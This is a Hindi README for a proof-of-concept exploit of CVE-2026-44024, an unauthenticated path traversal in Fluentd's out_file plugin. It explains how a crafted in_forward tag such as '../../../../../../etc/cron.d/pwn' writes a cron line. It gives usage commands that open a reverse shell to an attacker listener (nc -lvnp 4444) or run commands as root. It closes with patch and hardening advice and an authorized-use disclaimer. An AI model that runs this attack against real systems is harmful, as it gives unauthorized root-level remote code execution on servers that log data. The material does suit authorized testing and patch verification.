
CVE-2026-44024 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Fluentd के out_file पथ ट्रैवर्सल के माध्यम से मनमानी फ़ाइलें लिखने और कमांड निष्पादन ट्रिगर करने के लिए निर्मित in_forward tag का उपयोग करता है।
out_file ${tag} पाथ-ट्रैवर्सल मनमानी फ़ाइल लेखनFluentd के out_file प्लगइन में बिना प्रमाणीकरण के मनमानी फ़ाइल लेखन
${tag} प्लेसहोल्डर के माध्यम से।
out_file ऑपरेटरों को ${tag} प्लेसहोल्डर के साथ आउटपुट पाथ टेम्पलेट करने देता है
(जैसे path /var/log/fluent/${tag})। Output#extract_placeholders
(lib/fluent/plugin/output.rb) इवेंट के टैग को पाथ में बिना सैनिटाइज़ किए
../ प्रतिस्थापित करता है (CWE-22):
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
in_forward प्रोटोकॉल (पोर्ट 24224) पर आने वाले इवेंट वायर मैसेज से शब्दशः लिया गया टैग लेकर आते हैं,
और allow_anonymous_source डिफ़ॉल्ट रूप से true होता है, इसलिए एक अनप्रमाणित हमलावर
../../../../../../etc/cron.d/pwn जैसा टैग सेट करके कॉन्फ़िगर की गई निर्देशिका से बाहर निकल सकता है और
fluentd प्रोसेस यूज़र के रूप में किसी भी निरपेक्ष पाथ पर लिख सकता है।
<= 1.19.21.19.3 (${tag} को विस्तारित करने से पहले टैग में ..//निरपेक्ष घटकों को अस्वीकार करता है, PR #5391)in_forward है, in_http नहींin_http टैग को URL पाथ से path.split('/').join('.') के साथ प्राप्त करता है, जो हर / को
. में बदल देता है — इसलिए ../ Linux पर टिक नहीं सकता (और %2f डीकोड नहीं होता)। केवल forward
प्रोटोकॉल (24224) टैग को बाइट-दर-बाइट पास करता है। यह एक्सप्लॉइट उस प्रोटोकॉल का बस पर्याप्त हिस्सा बोलता है (एक
msgpack [tag, time, record] मैसेज) एक छोटे अंतर्निर्मित एन्कोडर — कोई निर्भरता नहीं के साथ।
केवल Python 3 मानक लाइब्रेरी। टार्गेट पर एक भेद्य Fluentd चलना चाहिए जिसके out_file के
path में ${tag} हो, और एक अनाम in_forward स्रोत (डिफ़ॉल्ट) हो। लेखन को एक
स्वच्छ क्रॉन ड्रॉप में बदलने के लिए एक ऐसे out_file की आवश्यकता होती है जो फ़ाइलनाम/सामग्री को विकृत न करे (जैसे
add_path_suffix false, append true, कोई timekey नहीं, single_value फ़ॉर्मेट) — अन्यथा फ़ाइल
लेखन का उपयोग किसी ज्ञात पाथ वाली फ़ाइल को अधिलेखित करने के लिए करें।
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
पोर्ट 24224 पर एक forward इवेंट ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}] भेजता है।
out_file ${tag} को विस्तारित करता है → /var/log/fluent/../../../../../../etc/cron.d/pwn =
/etc/cron.d/pwn, और (single_value फ़ॉर्मेट के साथ) रिकॉर्ड के msg को शब्दशः लिखता है → एक मान्य
क्रॉन लाइन। cron इसे ~60 सेकंड के भीतर fluentd यूज़र के रूप में चलाता है (root, जहाँ fluentd root के रूप में चलता है)।
Fluentd को ≥ 1.19.3 में अपग्रेड करें; forward पोर्ट को अविश्वसनीय नेटवर्क पर एक्सपोज़ न करें (shared-key
auth / allow_anonymous_source false सक्षम करें); fluentd को root के रूप में न चलाएँ; अविश्वसनीय इनपुट के लिए
आउटपुट पाथ में ${tag} से बचें।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टम के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।